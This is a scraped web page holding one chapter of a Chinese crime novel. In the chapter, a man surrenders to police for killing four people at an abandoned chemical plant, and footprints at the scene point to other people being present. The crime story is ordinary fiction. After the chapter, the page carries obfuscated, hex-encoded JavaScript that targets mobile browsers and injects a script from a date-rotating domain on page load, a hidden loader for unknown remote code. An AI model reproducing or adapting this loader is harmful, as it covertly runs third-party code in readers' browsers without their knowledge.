返回第一百五十章 自首  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

深夜十一点四十分,城北分局的值班室门被推开了。值班民警老周抬起头,看到门口站着一个人。男人,三十五六岁,穿着一件深灰色的夹克,头发湿漉漉地贴在额头上,脸上有暗红色的渍迹,顺着脸颊往下淌,滴在灰色夹克的领口上,分不清是水还是别的什么。

老周的手按在了桌子下面的报警器上,没按下去。那男人没有往前走,就站在门口,象一棵被风吹了很多年还没倒的树。

“我要自首。”男人的声音不高,也不抖。

“你叫什么?”

“陈旭。”

“你做了什么?”

陈旭抬起右手,手背上也是暗红色的渍迹。他看着那只手,象在看别人的东西。“我杀了人。四个。在城北化工厂。”

老周从桌后站起来,仔细打量面前这个人。陈旭站在那里一动不动,像等着被拍照。老周走过去,没闻到酒味,也没闻到毒品的气味。他身上的气味是铁的腥味,老周闻过很多次,那是血的味道,不是自己的血。

“你身上是谁的血?”

“他们的。”

老周拿起电话,拨了刑侦大队的号码。

秦墨接到电话的时候,正在家里沙发上翻一份旧案卷。黑猫“证据”蜷在他腿边,呼噜声均匀地起伏着。电话响了三声,他接起来,没说话。

“秦队,城北分局。有人来自首,说杀了四个人。”

“四个人?”

“城北化工厂。嫌疑人自称陈旭,三十五岁。满身是血。”

秦墨站起来,黑猫被惊醒,跳下沙发,不满地叫了一声。他走进卧室,从衣柜里拿出那件黑色夹克,边穿边往外走。他下楼的脚步声在空荡荡的楼道里回荡,声控灯一盏一盏地亮起来,又在他身后一盏一盏地灭掉。

他到城北分局的时候,陈旭还站在值班室里。没人让他坐,他也没坐。他靠墙站着,双手垂在身体两侧,手指微微蜷着。秦墨走进来,站在他面前,看着他的脸。左眉骨有一道伤口,翻开皮肉,露出下面暗红色的组织,已经不流血了,血凝住了,结成黑色的痂。脸上还有几处擦伤,不深,但多。

“你脸上的伤怎么来的?”

“打的。他们反抗。”

“几个人?”

“四个。”

“四个人反抗,你就脸上这点伤?”

陈旭没回答。

秦墨看着他的眼睛。那双眼睛不躲闪,不恐惧,不亢奋。很平,平得象一潭不流动的水。秦墨见过很多自首的人,有吓破胆的,有假装镇定的,有泣不成声的,有昂首挺胸觉得自己是英雄的。陈旭都不象。他站在那里,象一件被穿旧了的衣服,没有情绪,没有重量。

“你说你在城北化工厂杀了四个人。用什么杀的?”

“铁管。”

“铁管呢?”

“扔了。来的路上,河边。”

“带我去。”

陈旭被带上警车。秦墨开自己的车跟在后面。夜色很沉,路灯的光昏黄,照着空荡荡的街道。城北化工厂在城郊,废弃了七八年,厂房还在,窗户碎了大半,大门用铁链锁着,锁链被剪断了,新的断口,金属茬子发白,不是今天剪的,是今天。

秦墨蹲下来看着那根断开的锁链。夜色太沉,看不清切口表面的氧化程度,他用指甲掐了掐断口边缘。金属的反光在路灯下有细微的差别。是新断的。化工厂的厂房很大,顶很高,月光从破碎的窗户照进来,在地上投下不规则的光斑。空气中有铁锈和灰尘的气味。技术科的人先到了,正在拍照、取证、测量。

厂房最深处,靠墙的地方,四个人并排躺着,身上盖着塑料布。秦墨走过去,掀开第一块。一具男性尸体,四十岁左右,圆脸,短发,额头上有一个很大的伤口,凹陷下去,不象刀伤,也不象枪伤,是钝器。他盖上塑料布,掀开第二块。第二具男性,第三具男性,第四具女性。三男一女,四十岁上下,衣着普通,灰暗,不起眼的颜色,放在人群里不会被多看一眼的那种人。姿势很整齐,并排,头朝同一个方向,脚朝同一个方向,间距几乎相等。这不是随手扔下的,是被人摆过的。秦墨站起来,退后几步,看着那四具尸体,象是在看一幅画,一幅有人精心布置过的画。他见过很多凶杀现场,有混乱的,有血腥的,有残缺的,有干净的,象这样整整齐齐的,很少。凶手杀了人,没有逃跑,没有慌乱,把尸体摆好,盖上塑料布,然后去自首。每一步都冷静,每一个动作都经过思考。

法医老林蹲在地上,正在测量尸温。他抬起头,摘下手套。

“秦队,死亡时间大概在今晚六点到八点之间。死因是钝器击打头部。凶器可能是铁管或木方,直径大概四到五厘米。伤口型状不象是方形,也不是圆形,是边缘有棱角的。伤口不止一处。每具尸体头部都有三到五处击打痕迹,致命伤都是第一下。后面的几下是死后补的,不是杀人,是泄愤。”

秦墨转过身,看着尸体。泄愤。凶手恨他们。

他走出现场,站在厂房门口。陈旭坐在警车后排座上,车门开着,两个民警站在车旁边看着他。他不需要人看,他不会跑。秦墨走过去,蹲下来,跟陈旭平视。

“你认识他们?”

“认识。”

“他们是谁?”

“害死我老婆的人。”

秦墨的手指动了一下。“你老婆怎么死的?”

“淹死的。他们把她推进河里。”

“什么时候的事?”

“两年前。”

“你报警了吗?”

“报了。警察说是意外。没有证据。”

秦墨看着他的脸,那道没缝合的伤口。“你一个人干的?”

“一个人。”

“四个人反抗,你一个人?”

陈旭没有回答,低下了头。秦墨站起来,走回厂房门口,看到技术科的小周蹲在地上,用手电筒照着地面。

“秦队,脚印不止一组。”

秦墨走过去蹲下来。地面上有几组鞋印,在月光和手电筒的光里,清淅得刺眼。

“这几组是进出方向的,应该是嫌疑人的。这组不是。这组脚更大一些,鞋底花纹也不一样。站在这个位置,停留了一段时间,脚尖朝里,面向厂房里面。不是路过,是在看。还有这组也不是,只有出去的,没有进来的。从厂房里面出来,往那个方向走了。只有方向,没有来源。不是从外面进来的,是本来就在里面的。”

秦墨站起来。有人比陈旭先到,在厂房外面站了很久。还有人比陈旭后走,从厂房里面出来,再也没回来。陈旭说他是唯一的凶手,但脚印说不是。一个人进来,一个人出去,是两组脚印。这里现在四组,还有第五个人,甚至第六个人。

老林走过来,摘下另一只手套。

“秦队,还有一件事。这四个人身上的衣服是湿的,头发也是湿的。不是汗,不是血,是水。淡水。”

“他们死之前在水里泡过?”

“不是死之前。是死后。衣服上的水分布均匀,没有挣扎痕迹,水是从上往下淋的。有人在他们死后往他们身上浇了水。”

秦墨看着那四具尸体,他们身上盖着塑料布,塑料布是干的。凶手柄尸体摆好,盖上塑料布,塑料布是干的,衣服是湿的。水是在盖塑料布之前浇的,浇完水,盖上布。他在做什么?清洗?羞辱?仪式?不知道。但这不是冲动杀人,是有计划的。每一步都有目的。

秦墨走出厂房,站在门口。夜风很凉,吹在他脸上,让他清醒。陈旭还坐在警车里,低着头。秦墨看了他一眼,转过身,看到技术科的小周蹲在厂房墙根下,打着手电筒照地面。

“秦队,这边还有一组脚印。不是运动鞋,是皮鞋。鞋底花纹很特别,象是商务皮鞋。也是只有出来的方向,没有进去的。从厂房里面出来,沿着墙根走了。这个人没有走正门,是翻墙进来的。”

四组脚印。陈旭的进和出。一个人的停留。两个人的离开,从不同的方向。陈旭说一个人干的。脚印说不止他一个人。秦墨走到警车旁边,看着陈旭。

“你不是一个人。”

陈旭抬起头,眼睛还是那样平。“我一个人。”

“脚印不会骗人。”

“那我不知道。我一个人。”

秦墨看了他一眼,没有再问。法医老林走过来,在老林手电筒的光柱里,细小的灰尘在飞舞。这里来过不只一个人。来了,看了,走了。进来过,也出去过。脚印还在,人已经不在了,凶手还在。他嘴里只有一句“我一个人”。

秦墨上了车,发动引擎。他没有回分局,开车去了沉牧之的事务所。路上,他给沉牧之发了一条消息:“城北化工厂,四条人命。嫌疑人自首了。现场有第五个人的痕迹。”十分钟后,他到了沉牧之楼下。沉牧之穿着睡衣站在门口,头发乱着,眼镜也没戴。没戴眼镜的沉牧之看起来比平时年轻几岁,眼睛眯着。

“进去说?算了,你别进来了。你说。”

“现场四组脚印。嫌疑人的进和出。还有一组,有人在厂房门口站了很久。还有两组,从厂房里面出去,没有进来的方向。一个人比嫌疑人先到,在外面等着。两个人比嫌疑人后走,从里面出来,翻墙走了。”

沉牧之靠在门框上,眼睛眯得更细了。“嫌疑人说几个人?”

“一个人。他自己。”

“他身上的伤呢?”

“左眉骨一道口子,脸上几处擦伤。他说是四个人反抗。”

“四个人反抗,就受这点伤?”

“法医说死者头部被击打三到五次。第一下就致命了,后面的几下是死后补的。”

沉牧之沉默了片刻。“泄愤。他恨他们。”

秦墨没回答。夜风吹过来,把他身上的血腥味和铁锈味吹散了。

“秦墨,这个案子我接了。”

“你不是已经不做刑辩了吗?”

“这个不同。”

沉默。路灯下飞蛾一下一下地撞着灯泡。

“明天我去看他。”

“他还没送看守所,在分局。”

“那我明天去分局。”

秦墨转过身,走了几步,又停下来。“沉牧之。”

“恩。”

“他不是凶手。至少不是唯一的凶手。”

沉牧之没说话。

秦墨上了车,发动引擎。他开回家,黑猫在门口等着他,蹭了蹭他的腿。他弯腰摸了摸猫的头,换了鞋坐在沙发上。窗外,城市的灯火一盏一盏地灭了。夜深了,安静了。四条人命。四组脚印。一个人说,我一个人干的。脚印说,不,你不是。

他躺下来,闭上眼睛。化工厂厂房里,四个人并排躺着,身上盖着塑料布。不远处,第五个人站在厂房门口,沉默地注视着一切。他不知道那个人是谁,但他会找到。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");